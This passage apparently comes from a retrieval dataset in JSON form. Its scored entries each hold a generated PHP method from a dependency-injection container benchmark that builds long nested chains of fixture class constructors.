\\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "5b2f1b760366eb970b6e93a991cf47df", "score": "0.6500139", "text": "protected function getClass35Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "0a4cad9714c8a6fc2a67b5d1749b42c2", "score": "0.64764", "text": "protected function getClass96Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class96(new \\DiContainerBenchmarks\\Fixture\\Class95(new \\DiContainerBenchmarks\\Fixture\\Class94(new \\DiContainerBenchmarks\\Fixture\\Class93(new \\DiContainerBenchmarks\\Fixture\\Class92(new \\DiContainerBenchmarks\\Fixture\\Class91(new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "d794bb0f7ae6fd7d412afe5aa4a5667a", "score": "0.6465972", "text": "protected function getClass94Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class94(new \\DiContainerBenchmarks\\Fixture\\Class93(new \\DiContainerBenchmarks\\Fixture\\Class92(new \\DiContainerBenchmarks\\Fixture\\Class91(new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "33f7bb7276fa9b82c88c2759ef1e4514", "score": "0.64544225", "text": "protected function getClass55Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "6d57c4a7124bacb50c054fa606ae2db3", "score": "0.6447946", "text": "protected function getClass93Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class93(new \\DiContainerBenchmarks\\Fixture\\Class92(new \\DiContainerBenchmarks\\Fixture\\Class91(new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "c9b652e923408136974c762d33e07c87", "score": "0.6431015", "text": "protected function getClass30Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "c04c97c33d97f6db190fe3672d831ac2", "score": "0.6412038", "text": "protected function getClass76Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "8781d60dddfbfe3f58bdaa31f5d922d2", "score": "0.6411885", "text": "protected function getClass95Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class95(new \\DiContainerBenchmarks\\Fixture\\Class94(new \\DiContainerBenchmarks\\Fixture\\Class93(new \\DiContainerBenchmarks\\Fixture\\Class92(new \\DiContainerBenchmarks\\Fixture\\Class91(new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new 